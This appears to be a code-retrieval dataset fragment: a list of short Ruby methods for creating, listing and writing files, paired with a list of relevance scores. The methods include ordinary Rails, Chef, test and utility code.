"def formatted_file_list(title, result, source_files, options = {})\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-\\_]/, \"\")\n # Silence a warning by using the following variable to assign to itself:\n # \"warning: possibly useless use of a variable in void context\"\n # The variable is used by ERB via binding.\n title_id = title_id\n options = options\n\n template(\"file_list\").result(binding)\n end",
"def setupTasksList\n require 'tmpdir'\n lTasksFileName = \"#{Dir.tmpdir}/WEACE_Tasks_#{Thread.current.object_id}.lst\"\n File.open(lTasksFileName, 'w') do |oFile|\n oFile << 'TaskID 1\nTaskID 2\nTaskID 3'\n end\n yield(lTasksFileName)\n File.unlink(lTasksFileName)\n end",
"def create_list(project_id, list)\n record \"/projects/#{project_id}/todos/create_list\", list\n end",
"def touch(options={})\n #list = list.to_a\n fileutils.touch(list, options)\n end",
"def add_to_list(filename, food_item)\n\tFile.open(filename, 'a') do |item|\n\t\titem.puts(\"#{food_item} \")\n\tend\nend",
"def filelist\n puts_message \"filelist start\" \n\n user = current_user\n\n request = params[:request].force_encoding(\"UTF-8\")\n puts_message \"Requested Path: \" + params[:request]\n \n if user and check_existance_of_path(request) \n if request == nil\n @file_names = 'error'\n elsif request_is_directory?(request)\n fire_the_list(request)\n # @file_names = absolute_path(request)\n elsif request_is_file?(request)\n last = request.split('/').last\n path = absolute_path(request)\n send_file_info(last, request) \n else\n @file_names = 'error'\n end\n else \n @file_names = 'error'\n end\n\n puts_message \"filelist end\" \n \n @output = <<-END\n\n END\n \n if request == \"/images/\"\n @folders = Folder.all(:user_id => current_user.id)\n \n @output << \"photo\" + \"\\n\"\n \n @folders.each do |f|\n @output << f.name + \"\\n\"\n end\n \n @file_names = @output\n end\n \n return @file_names\n\n end",
"def make_listdir\n\t\tdirname = \"%s/%s.%d.%0.4f\" % [\n\t\t\tDir.tmpdir,\n\t\t\t'ezmlm_list',\n\t\t\tProcess.pid,\n\t\t\t(Time.now.to_f % 3600),\n\t\t ]\n\t\tlist = Pathname.new( __FILE__ ).dirname + 'data' + 'testlist'\n\t\tcp_r( list.to_s, dirname )\n\n\t\treturn dirname\n\tend",
"def file_list(hash)\n\nend",
"def file_list(hash)\n\nend",
"def write_list_to_file(filename, data)\n file = File.open(filename, \"w\")\n data.each do |d|\n file.write(d.to_s + \"\\n\")\n end\n file.close unless file.nil?\nend",
"def files(*list)\n @files.concat(makelist(list)) unless list.empty?\n @files\n end",
"def formatted_file_list(title, source_files)\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-\\_]/, \"\")\n # Silence a warning by using the following variable to assign to itself:\n # \"warning: possibly useless use of a variable in void context\"\n # The variable is used by ERB via binding.\n title_id = title_id\n template(\"file_list\").result(binding)\n end",
"def create_from_disk(*filenames); end",
"def create_list_resource\n with_run_context(:root) do\n declare_resource(:directory, new_resource.conf_dir) do\n owner new_resource.owner\n group new_resource.group\n mode new_resource.folder_mode\n\n action :create\n end unless ::Dir.exist?(new_resource.conf_dir)\n\n declare_resource(:template, \"#{new_resource.conf_dir}/list.conf\") do\n cookbook 'nginx'\n source 'list.conf.erb'\n\n owner new_resource.owner\n group new_resource.group\n mode new_resource.mode\n\n helpers(Nginx::Cookbook::TemplateHelpers)\n\n variables['files'] ||= []\n\n action :nothing\n delayed_action :create\n end\n end\n end",
"def create_list_of_files\n @path=find_repository_and_basepath\n @table.window.setTitle(@path)\n files=[]\n Find.find(@path) do |file|\n # we don't want any files from a repository in the list \n next if file=~/(\\.hg|\\.svn|\\.git|\\.pyc)/ \n\n # neither do we want dotfiles in the list\n next if File.basename(file)=~/^\\./ \n \n # file matches, add it to the resulting list\n files << file if FileTest.file?(file)\n\n # wir bauen hier mal einen kleinen Idiotentest ein. Wenn wir mehr\n # als 10000 Dateien gefunden haben dann sind wir vermtl. in einem \n # falschen Verzeichniss und brechen die Suche ab.\n if files.length>10000\n NSRunInformationalAlertPanel('Large directory found!',\n \"Gathered more than 10k files from directory '#{@path}', aborting search!\",'OK',nil,nil)\n NSApp.stop(self)\n raise 'error'\n end\n end\n #@files=files.sort_by { |match| File.basename(match) }\n @files=files.sort\n end",
"def cmd_list(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n param = '' if param.to_s == '-a'\n\n dir = File.join(@name_prefix.to_s, param.to_s)\n\n now = Time.now\n\n items = list_dir(build_path(param))\n lines = items.map do |item|\n \"#{item.directory ? 'd' : '-'}#{item.permissions || 'rwxrwxrwx'} 1 #{item.owner || 'owner'} #{item.group || 'group'} #{item.size || 0} #{(item.time || now).strftime(\"%b %d %H:%M\")} #{item.name}\"\n end\n send_outofband_data(lines)\n # send_action_not_taken\n end",
"def new_files(recursive=false)\n newfiles = Array.new\n list(recursive).each do |file|\n newfiles << file if !stored?(file) \n end\n return newfiles\n end",
"def to_file files\n files.map { |f| CDR::File.new(f) }\n end",
"def to_file(dest_fname)\n\tplaylist_arr\t= []\n\t\n\t@list_arr.each { |item|\n\t\tplaylist\t= Neoip::Playlist_t.from_file(item['filename']);\n\t\tplaylist_title\t= playlist.jspf['title'];\n\t\tplaylist_id\t= playlist.jspf['identifier'];\n\t\texternal_dep\t= playlist.jspf['extension']['external_dep'];\n\t\n\t\t# build the item to add\n\t\tarr_item\t= {};\n\t\tarr_item['playlist_title']\t= playlist_title;\n\t\tarr_item['playlist_uid']\t= item['uid'];\n\t\tarr_item['external_dep']\t= external_dep || {};\n\t\n\t\t# add this item in the playlist_arr\n\t\tplaylist_arr.push(arr_item);\n\t}\n\t\n\t# write the playlist_arr into a file using JSON format\n\tjson_data\t= JSON.pretty_generate(playlist_arr)\n\tFile.open(dest_fname, 'w+'){|f| f.write(json_data) }\nend",
"def create_from_file\n end",
"def file_list files\n files.map { |gf| link_to_file(gf) }.join(', ').gsub(/\"/, \"'\")\n end",
"def loadlist _file, _append\n send_cmd(\"loadlist #{_file} #{_append}\")\n end",
"def files\n FileList.new(`#@native.files`)\n end",
"def list(client, current_path)\n\n\tfiles = Dir.glob(\"#{current_path}/files/*\")\n\tclient.puts \"\\nList of Files:\"\n\tfiles.each{ |file|\n\tfile.slice! \"#{current_path}/files/\"}\n\tclient.puts files\n\nend",
"def existing_files; end",
"def create_files\n tests.each do |test|\n FileUtils.mkdir(test.id.to_s) unless Dir.exist?(test.id.to_s) if test.option[:dir]\n files = []\n files << test.action.split('?').first\n files += test.option[:implicit]\n files << test.result_rdf if test.result_rdf\n files << test.result_json if test.result_json\n files.compact.select {|f| !File.exist?(f)}.each do |f|\n File.open(f, \"w\") {|io| io.puts( f.end_with?('.json') ? \"{}\" : \"\")}\n end\n end\n end",
"def list\n ret = get()\n return [] if ret.is_a? Hash and ret.has_key? :error\n ret.map{|i| FileItem.new(i)}\n end",
"def cmd_list(file_spec)\n cmd_listing_impl(file_spec, 'format_list_entry')\n end",
"def playlists_collection_start\n @filehandle << \"\\n\\t<key>Playlists</key>\\n\\t<array>\"\n end",
"def generate_listing(path)\n client\n listing = client.list_objects(bucket: config[:bucket], delimiter: '/', prefix: full_path(path))\n add_directories(listing)\n add_files(listing, path)\n end",
"def figlist_to_file(filepath)\n File.open(filepath, \"w\") do |file|\n file << self.generate_figlist\n end\n end",
"def do_add\n file_paths = ARGV.dup\n\n file_paths.map! { |path| File.expand_path(path) }\n \n file_paths.each do |path|\n ensure_exists(path)\n end\n\n audiofiles = file_paths.map do |path|\n af = nil # SCOPE\n TagLib::FileRef.open(path) do |ref|\n if ref.null?\n warnx(\"#{path}: not an audio file?\")\n exit 1\n end\n warnx(\"parsing #{path}\")\n tags = ref.tag\n af = AudioFile.new(path, tags.title, tags.artist, tags.album)\n end\n\n af\n end\n\n File.open(@playlist_path, \"w\") { |fd|\n fd.puts(PlaylistWriter.new(audiofiles).to_s)\n }\nend",
"def setupTicketsList\n require 'tmpdir'\n lTicketsFileName = \"#{Dir.tmpdir}/WEACE_Tickets_#{Thread.current.object_id}.lst\"\n File.open(lTicketsFileName, 'w') do |oFile|\n oFile << 'TicketID 1\nTicketID 2\nTicketID 3'\n end\n yield(lTicketsFileName)\n File.unlink(lTicketsFileName)\n end",
"def file_create(data)\r\n\r\n\t\tfname = datastore['FILENAME']\r\n\t\tltype = \"exploit.fileformat.#{self.shortname}\"\r\n\r\n\t\tif ! ::File.directory?(Msf::Config.local_directory)\r\n\t\t\tFileUtils.mkdir_p(Msf::Config.local_directory)\r\n\t\tend\r\n\r\n\t\tpath = File.join(Msf::Config.local_directory, fname)\r\n\t\tfull_path = ::File.expand_path(path)\r\n\t\tFile.open(full_path, \"wb\") { |fd| fd.write(data) }\r\n\r\n\t\treport_note(:data => full_path.dup, :type => \"#{ltype}.localpath\")\r\n\r\n\t\tprint_good \"#{fname} stored at #{full_path}\"\r\n\r\n\tend",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def add_files(listing, path)\n listing.contents.each do |entry|\n key = from_base(entry.key)\n new_entry = entry_for(key, entry.size, entry.last_modified, false)\n @entries << new_entry unless strip(key) == strip(path) || new_entry.nil?\n end\n end",
"def create_list\n car_set = @car_make\n File.open(@file).each do |word|\n car_set.add(word.to_s.strip)\n end\n end",
"def file!\n @file_list = @file_list.select{ |f| File.file?(f) }\n end",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def saveListToFile()\n\t\t# f is going to equal data.txt with the 'write' capability:\n\t\tf = File.new('data.txt', 'w')\n\n\t\t# write searchSuggestionList to data.txt:\n\t\tf.write(\"#{@searchSuggestionList}\")\n\n\t\t# close data.txt/ end writing:\n\t\tf.close\n\tend",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def create\n #@file_folder = FileFolder.new(file_folder_params)\n @folder = current_user.folders.where(\"id = ?\", params[:current_folder_id]).first\n @files = @folder.file_folders.build \n io_file = params[:file]\n respond_to do |format|\n if @files.store(io_file)\n @files = [] << @files\n format.js {render \"files_list\", status: 200}\n else\n format.js {render js: \"alert('Could not create file\", status: 400}\n end \n end \n end",
"def create_files\n tests.each do |test|\n files = [test.action, test.urgna2012, test.urdna2015].compact\n files.compact.select {|f| !File.exist?(f)}.each do |f|\n File.open(f, \"w\") {|io| io.puts( f.end_with?('.json') ? \"{}\" : \"\")}\n end\n end\n end",
"def initialize(filepath)\r\n\t\t@filepath = filepath\r\n\t\t@list = []\r\n\tend",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def get_list_of_files\n\t\t@list_of_files = Dir.entries(@wallpaper_dir) \n\tend",
"def create_fileset(paths, label='', prune=true, lookup=false)\n if HDB.verbose\n puts \"Creating list of files (this can take a long time) in...\"\n paths.each() { |p| puts p }\n end\n return fs = FileSet.new.make!(paths, label, (lookup ? self : nil))\n end",
"def mktestfiles(testdir)\n @@tmpfiles << testdir\n assert_nothing_raised {\n files = %w{a b c d e}.collect { |l|\n name = File.join(testdir, \"file#{l}\")\n File.open(name, \"w\") { |f|\n f.puts rand(100)\n }\n\n name\n }\n\n return files\n }\n end",
"def create_directory(file)\n end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def filelist\n @filelist ||= begin\n list = common_filelist(super) # Always pick up the parent list\n list\n end\n end",
"def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end",
"def src_filelist\n FileList['lib/**/*.rb'].concat ['README.rdoc']\nend",
"def constructListFromFile(input)\n\t\t\tresult = Array.new()\n\t\t\tsize = input.size/6\n\t\t\tfor i in 0..size-1\n\t\t\t\talimento = Alimento.new(input[6*i], input[6*i+1].to_f, input[6*i+2].to_f, input[6*i+3].to_f, input[6*i+4].to_f, input[6*i+5].to_f)\n\t\t\t\tresult.append( alimento )\n\t\t\tend\n\t\t\treturn result\n\t\tend",
"def list_files\n fail('Requires implementation')\n end",
"def zipfile(list, newer_than, zipdir = '/tmp')\n\n str_newer = newer_than.to_s.split(%r{T})[0]\n\n zipfile_fn = File.join(zipdir, \"calibre-#{str_newer}.zip\")\n if File.exists?(zipfile_fn)\n File.unlink(zipfile_fn)\n end\n\n # Write the output zip\n #\n Dir.chdir(@library_path) do\n\n Zip.continue_on_exists_proc = true\n Zip.sort_entries = true\n Zip.unicode_names = true\n #\n # Try to avoid registering local paths\n #\n begin\n Zip::File.open(zipfile_fn, Zip::File::CREATE) do |zfh|\n #\n # For each book, gather the list of files\n #\n list.each do |bk|\n authr_base = bk['authors'].split(/,/)[0]\n all_files = File.join(authr_base, \"#{bk['title']}*\", '*')\n begin\n Dir[all_files].sort.each do |file|\n zfh.add(file, file)\n end\n rescue => msg\n $stderr.puts(\"Error: #{msg} : #{full} : #{file}\")\n end\n end # -- list\n end # -- Zip::File\n rescue => msg\n $stderr.puts(\"Error creating zip: #{msg}\")\n end\n end # -- chdir\n zipfile_fn\nend",
"def list_files\n @synth_files = CreatedFile.find_all_by_content_type(\"synthesis\",\n :include => :researcher, \n :order => \"created_at DESC, created_file DESC\")\n end",
"def file(fname)\n @file_list[fname]\n end",
"def files_list(params = {})\n response = @session.do_post \"#{SCOPE}.list\", params\n Slack.parse_response(response)\n end",
"def file_message_list\n messages = Message.all.order(:id)\n file = Tempfile.new('exported_messageslist')\n messages.each do |message|\n file << message.email << ','\n file << message.name << ','\n file << 'Message_Senders' << \"\\n\"\n end\n file.flush\n end",
"def create_file(title, description, parent_id, mime_type, file_name)\n \tinsert_file(title, description, parent_id, 'application/vnd.google-apps.file', file_name)\n\tend",
"def make_files(targets)\n file_pairs = targets.map { |t| \n filename = sanitize_filename(t[:data][:name] + '.json')\n [filename, t]\n }\n unique_pairs = uniqufy(file_pairs)\n unique_pairs.each do |name, content| \n puts \"Write #{File.absolute_path(name)}\"\n File.open(name, 'w') { |file| file.write(JSON.pretty_generate(content)) }\n end\nend",
"def write_to_file(filename = \"listsave\")\n\t\tIO.write(filename, @tasks.map(&:to_s).join(\"\\n\"))\n\t\tputs \"List has been successfully saved to #{filename}...\"\n\tend",
"def files\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n end",
"def check_list_file(file, outlist)\n unless File.exists?(file)\n raise \"Can't find file \\\"#{opts.input}\\\"\"\n end\n File.open(file, \"r\").each_line do |line|\n unless line.nil?\n outlist << line.chomp\n end\n end\nend",
"def create_downloads(config, files)\n downloads = []\n # Write\n files&.each do |file|\n content_type = config[:format] == 'csv' ? 'text/csv' : 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'\n downloads << create_download(config[:user_id], file[:content], file[:filename], config[:export_type], content_type)\n end\n downloads\n end",
"def list\n @list ||= PublicSuffix::List::parse(File.new(list_path, \"r:utf-8\"))\n end",
"def list_creator dict_filename, output_filename\n originals = load_dictionary dict_filename\n\n pairings = create_sequence_word_pairs originals\n pairings = sanitize_pair_list pairings\n\n File.open output_filename, \"w\" do |csv|\n\n pairings.each do |pairing|\n seq = pairing[0]\n original = pairing[1]\n\n output_line = formatter seq, original\n\n csv.puts output_line\n end\n end\n end",
"def create_list(params={})\n @obj.post('create-list', @auth.merge(params))\n end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def single_ucf_file_lists\n File.open(single_bad_ucf_file, 'a') do |mergedfile|\n Dir.glob(\"#{output_directory_path}*name.txt\").each do |file|\n File.foreach(file) do |line|\n mergedfile.write(line)\n end\n end\n end\n end",
"def file_create(args, &block)\n Rake::FileCreationTask.define_task(args, &block)\n end",
"def GenerateListFromFile(fileName)\n\tf = File.open(fileName, \"r\")\n\titems = []\n\t\n\tf.each_line do |item|\n\t\titems.push(item.strip)\n\tend\n\t\n\treturn items\nend",
"def create(filename, text); end"
] |
[
"0.7136776",
"0.69717634",
"0.6923416",
"0.6923416",
"0.6860824",
"0.67586035",
"0.66304463",
"0.65696543",
"0.6563842",
"0.651738",
"0.6463753",
"0.6459376",
"0.6372507",
"0.63596064",
"0.62640786",
"0.62606937",
"0.625011",
"0.6217227",
"0.6178814",
"0.61540025",
"0.6146486",
"0.61063826",
"0.6086847",
"0.60527956",
"0.6040107",
"0.6030748",
"0.6024188",
"0.6024188",
"0.60220015",
"0.5988985",
"0.59818625",
"0.5967216",
"0.59196305",
"0.59184486",
"0.59178466",
"0.5916322",
"0.59083676",
"0.5899834",
"0.58733004",
"0.58509976",
"0.5849528",
"0.5844149",
"0.58310026",
"0.58296907",
"0.58207107",
"0.58148307",
"0.5801177",
"0.5799275",
"0.57953316",
"0.5757375",
"0.57521796",
"0.572994",
"0.57232517",
"0.5721985",
"0.5718341",
"0.57152355",
"0.5713135",
"0.57090104",
"0.57090104",
"0.5707675",
"0.5702456",
"0.5702456",
"0.5702456",
"0.5702456",
"0.5702456",
"0.5702456",
"0.5697287",
"0.5694585",
"0.56938654",
"0.5688313",
"0.56821346",
"0.5678602",
"0.5677188",
"0.56620795",
"0.5657239",
"0.5656714",
"0.56414074",
"0.5632958",
"0.56314033",
"0.5629906",
"0.56262",
"0.5620006",
"0.5608978",
"0.56050307",
"0.55799997",
"0.5579204",
"0.557551",
"0.55713147",
"0.55601513",
"0.5556243",
"0.5537994",
"0.5529048",
"0.55283254",
"0.5523749",
"0.5521151",
"0.55102956",
"0.5508721",
"0.5506403",
"0.5504934",
"0.5504319"
] |
0.69076836
|
4
|
Create a repomd file
|
def repomd_file(origin_name, dist_name, component_name, files)
content = {
:repomd => {
:@xmlns => XMLNS_MAP[:repo],
:data => Hash.new.tap { |data|
files.each do |f_name, f_paths|
data[f_name] = {
:location => File.join("repodata", File.basename(f_paths.first)),
"open-checksum" => {
:@type => "sha",
:_content_ => checksum(File.open(f_paths.first), :sha1),
},
:checksum => {
:@type => "sha",
:_content_ => checksum(File.open(f_paths.last), :sha1),
},
:timestamp => File.mtime(f_paths.first).to_i,
}
end
},
},
}
args = [origin_name, dist_name, component_name, "repodata", "repomd.xml"]
create_file(*args) do |file|
file.puts generate_xml(content)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_rep_heading\n\tsave_file(print_date)\n\tsave_file(print_sales_rpt)\nend",
"def create_from_file\n end",
"def create!\n new_file = \"#{next_number}-#{strip_title}.md\"\n @path = File.join(@dir, new_file)\n File.open(@path, 'w') do |file|\n file.write initial_content\n end\n\n new_file\n end",
"def create(filename, text); end",
"def create_locally\n write_file(@description, @news_name)\n write_file(@poster_file, @poster_name)\n end",
"def make_new_file\n\t\tmetadata_file_data = \"\"\n\t\tmetadata_file_data << \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?><cp:coreProperties\"\n\t\tmetadata_file_data << \" xmlns:cp=\\\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\\\" \"\n\t\tmetadata_file_data << \"xmlns:dc=\\\"http://purl.org/dc/elements/1.1/\\\" xmlns:dcterms=\\\"http://purl.org/dc/terms/\\\" \"\n\t\tmetadata_file_data << \"xmlns:dcmitype=\\\"http://purl.org/dc/dcmitype/\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\">\"\n\t\tmetadata_file_data << \"<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}\"\n\t\tmetadata_file_data << \"</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\\\"dcterms:W3CDTF\\\">\"\n\t\tmetadata_file_data << \"2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\\\"dcterms:W3CDTF\\\">\"\n\t\tmetadata_file_data << \"2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>\"\n\n\t\t#where to find the skeleton files required for creating an empty document\n\t\tdata_dir = File.join(Msf::Config.install_root, \"data\", \"exploits\", \"docx\")\n\n\t\t#making the actual docx\n\t\tdocx = Rex::Zip::Archive.new\n\t\t#add skeleton files\n\t\tvprint_status(\"Adding skeleton files from #{data_dir}\")\n\t\tDir[\"#{data_dir}/**/**\"].each do |file|\n\t\t\tif not File.directory?(file)\n\t\t\t\tdocx.add_file(file.sub(data_dir,''), File.read(file))\n\t\t\tend\n\t\tend\n\t\t#add on-the-fly created documents\n\t\tvprint_status(\"Adding injected files\")\n\t\tdocx.add_file(\"docProps/core.xml\", metadata_file_data)\n\t\tdocx.add_file(\"word/_rels/settings.xml.rels\", @rels_file_data)\n\t\t#add the otherwise skipped \"hidden\" file\n\t\tfile = \"#{data_dir}/_rels/.rels\"\n\t\tdocx.add_file(file.sub(data_dir,''), File.read(file))\n\t\t#and lets create the file\n\t\tfile_create(docx.pack)\n\tend",
"def create\n\t\twrite('')\n\t\tself\n\tend",
"def create\n\t\twrite('')\n\t\tself\n\tend",
"def createFile\n @header_string=self.configuration_file_header.to_s\n @bodyString=self.createBodyString\n @bodyString=@bodyString[0, @bodyString.size-2]\n if @bodyString==nil\n @bodyString=\"\" \n end\n \n @file_name = \"public/files/\"+self.name+\".rtf\"\n File.open(@file_name, \"w\") do |f| \n f.write(@header_string+\"\\n\"+@bodyString) \n end\n end",
"def createFile (pathFile,extension,nameFile, erb)\r\n FileUtils.mkdir_p(pathFile)\r\n fileName = pathFile+nameFile+extension\r\n newFile = File.open(fileName,\"w\")\r\n newFile.print erb\r\n newFile.close\r\n end",
"def create_file\n file = \"#{@parameters['id']}_#{@parameters['updated_at']}_for_calc.txt\"\n File.open(DIR + file, 'w') do |f|\n f.write(\"Calculate with following variables:\")\n f.write(@parameters.inspect)\n end\n end",
"def gen_pv\n pv_name = \"pv-#{gen_uuid}\"\n file = \"#{$templates_path}/#{pv_name}.yaml\"\n File.open(file, 'w') do |f|\n f.puts <<-PV\nkind: PersistentVolume\napiVersion: v1\nmetadata:\n name: #{pv_name}\nspec:\n capacity:\n storage: 1Gi\n accessModes:\n - ReadWriteOnce\n nfs:\n path: \"/\"\n server: \"10.1.1.1\"\n persistentVolumeReclaimPolicy: \"Retain\"\nPV\n end\n\n `oc create -f #{file}`\nend",
"def create_file(file)\n @generic_file = GenericFile.new\n @generic_file.batch_id = object.batch.pid\n @generic_file.add_file(file.read, 'content', file.name)\n @generic_file.apply_depositor_metadata(object.edit_users.first)\n @generic_file.date_uploaded = Time.now.ctime\n @generic_file.date_modified = Time.now.ctime\n @generic_file.save\n end",
"def create(file, task, mode)\n\n file = File.open(file, mode)\n #file.write(task)\n file.puts(task)\n file.close\n\nend",
"def create_puppetfile(puppetfile_contents)\n File.open('Puppetfile', 'w') do |file|\n file.write puppetfile_contents\n end\n end",
"def createpb filename\n return \"Phonebook already exists\" if File.file?(filename)\n pb = Phonebook.new\n pb.create(filename)\nend",
"def new_paragraph(env); end",
"def file_create(data)\r\n\r\n\t\tfname = datastore['FILENAME']\r\n\t\tltype = \"exploit.fileformat.#{self.shortname}\"\r\n\r\n\t\tif ! ::File.directory?(Msf::Config.local_directory)\r\n\t\t\tFileUtils.mkdir_p(Msf::Config.local_directory)\r\n\t\tend\r\n\r\n\t\tpath = File.join(Msf::Config.local_directory, fname)\r\n\t\tfull_path = ::File.expand_path(path)\r\n\t\tFile.open(full_path, \"wb\") { |fd| fd.write(data) }\r\n\r\n\t\treport_note(:data => full_path.dup, :type => \"#{ltype}.localpath\")\r\n\r\n\t\tprint_good \"#{fname} stored at #{full_path}\"\r\n\r\n\tend",
"def create #:doc:\n end",
"def create_preservation_message_metadata\n\n res = \"<provenanceMetadata><fields><uuid>#{self.uuid}</uuid></fields></provenanceMetadata>\"\n res +=\"<preservationMetadata>\"\n res += self.preservationMetadata.content\n res +=\"</preservationMetadata>\"\n res +=\"<techMetadata>\"\n res += self.techMetadata.content\n res +=\"</techMetadata>\"\n end",
"def create_document(name, content = \"\")\n File.open(File.join(data_path, name), \"w\") do |file|\n file.write(content)\n end\n end",
"def create_document(name, content = \"\")\n File.open(File.join(data_path, name), \"w\") do |file|\n file.write(content)\n end\n end",
"def create_log_file(npc_parameters, log_file)\n log_file.ensure_exists\n contents = <<~CONTENTS\n === Project information\n\n #{npc_parameters.summary || 'undefined'}\n\n CONTENTS\n new_file_entry = ObservationEntry.new(content: 'File generated by new-project command').render('File created')\n contents += new_file_entry\n write_file(log_file.path, contents)\n print 'created'\n end",
"def create_product_data\n\tsave_file(print_products)\n\tproduct_details\nend",
"def create_file(title, description, parent_id, mime_type, file_name)\n \tinsert_file(title, description, parent_id, 'application/vnd.google-apps.file', file_name)\n\tend",
"def create_new_report!\n File.write(report_filename, report_title + report_body)\n end",
"def create_file(path, content)\n \n puts \"Sending path and content via MCollective Files client\"\n @mc.create(:path => path, :content => content)\n printrpcstats\n \n end",
"def generate_itemdef_line(type,name,isData,isDrill)\n itemdef=File.new('itemdef.csv','a')\n itemdef << name.underscore.humanize << \",\" << name << \",\" << type << \",\" << isData << \",\" << isDrill << \"\\n\"\n itemdef.close;\n end",
"def create_def_file(tlm_def_filename, tlm_def_template_file)\n\n #\n # Create combo packet substitution strings \n #\n HkJsonDefFile::HK_COMBO_PKT_MID_STR.each do |combo_pkt|\n \n @hk_json_def_file.process_combo_pkt(combo_pkt) do |hk_combo_mid_str, src_data_array|\n \n src_data_array.each do |src_data|\n \n src_item = @hk_json_def_file.get_src_tlm_item(src_data) # Index: 0=MID, 1=Name, 2=Offset, 3=Size, 4=Data Type\n \n if (src_item[1] != nil and src_item[2] != 0 and src_item[3] != 0)\n @combo_pkt_str[combo_pkt] << \" APPEND_ITEM #{src_item[1]} #{src_item[3]*8} #{src_item[4]}\\n\" \n else\n raise IndexError.new(\"JSON definition file contains an ivalid entry #{src_item}\\n\")\n end\n \n end # src_data loop\n end # Combo pkt tlm item loop\n \n end # JSON combo pkt loop\n \n tlm_def_str = File.read(tlm_def_template_file)\n \n HkJsonDefFile::HK_COMBO_PKT_MID_STR.each do |combo_pkt|\n tlm_def_str = tlm_def_str.sub(\"@#{combo_pkt}@\",@combo_pkt_str[combo_pkt])\n end\n tlm_def_str = tlm_def_str.sub(\"@src-file@\",@hk_json_def_file.filename)\n \n File.open(tlm_def_filename, 'w') do |tlm_def_file|\n tlm_def_file << tlm_def_str.sub(\"@date-time@\",Time.now.to_s)\n end # tlm_def_file\n \n end",
"def create\n \n end",
"def to_file( f )\n buf = [@name, @ref.binary_role(), @ref.binary_type(), @ref.name,\n @type, TYPE_SIZES[@type], \n @data.length()].pack(PFORMAT)\n f.write(buf)\n\n fmt_str = \"%s%d\" % [TYPES[@type], data.length]\n buf = data.pack(fmt_str)\n f.write(buf)\n end",
"def new_file(new_name=false, body)\n f_name = new_name || file_name_with_path\n File.open(f_name, \"w\") { |line|\n line.write(body)\n line\n }\n end",
"def create_from_task_template\n File.open(file_path, 'w') do |f|\n f.puts build_task_template\n end\n end",
"def make_file_package(path, content, options = {})\n path.dirname.mkpath\n\n path.open('w') do |f|\n if options.any?\n f.puts stringify_hash_keys(options).to_yaml\n f.puts '---'\n end\n\n f.puts content\n end\nend",
"def create(name,content='')\n @name=name\n @content=content\n end",
"def create(name,content='')\n @name=name\n @content=content\n end",
"def create\n file = Tempfile.new(\"oneimage-#{resource[:name]}\")\n File.chmod(0644, file.path)\n\n template = ERB.new <<-EOF\nNAME = \"<%= resource[:name] %>\"\n<% if resource[:description] %>DESCRIPTION = \"<%= resource[:description] %>\"<% end%>\n<% if resource[:type] %>TYPE = <%= resource[:type].upcase %><% end%>\n<% if resource[:persistent] %>PERSISTENT = <%= resource[:persistent] %><% end%>\n<% if resource[:dev_prefix] %>DEV_PREFIX = \"<%= resource[:dev_prefix] %>\"<% end%>\n<% if resource[:driver] %>DRIVER = \"<%= resource[:driver] %>\"<% end %>\n<% if resource[:path] %>PATH = <%= resource[:path] %><% end%>\n<% if resource[:source] %>SOURCE = <%= resource[:source] %><% end%>\n<% if resource[:fstype] %>FSTYPE = <%= resource[:fstype] %><% end%>\n<% if resource[:size] %>SIZE = <%= resource[:size] %><% end%>\nEOF\n\n tempfile = template.result(binding)\n self.debug \"Creating image using tempfile: #{tempfile}\"\n file.write(tempfile)\n file.close\n output = \"oneimage create -d #{resource[:datastore]} #{file.path} \", self.class.login\n `#{output}`\n end",
"def create\n File.open(@db_file, \"w\" ) do |file|\n end\n end",
"def create\r\n\r\n\r\n end",
"def init\n File.open('./Denreifile', 'w') { |f|f.puts DENREI_TEMPLATE }\n end",
"def base_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n data = notey_notey_params['data']\n\n uri = \"/notebooks/#{course}_#{file}\"\n File.open(uri, 'wb') do |f|\n f.write(data)\n end\n render json: { result: true }\n end",
"def creoarchivo(nom,promedio)\n\tfile = File.open(\"#{nom}\", 'w')\n\tfile.puts promedio\n\tfile.close\t\nend",
"def create\n generate\n save\n end",
"def create_blank_post(path, title, date)\n # Create the directories to this path if needed\n FileUtils.mkpath(File.dirname(path))\n\n # Write the template to the file\n File.open(path, \"w\") do |f|\n f << <<-EOS.gsub(/^ /, '')\n ---\n title: #{title}\n category: Code\n layout: post\n date: #{date}\n ---\n\n EOS\n end\nend",
"def save_podspec(filename, spec)\n\t\t \t\topen(filename, 'w') { |f|\n\t\t \t\t\tf.puts spec\n\t\t\t\t}\n\t\t \tend",
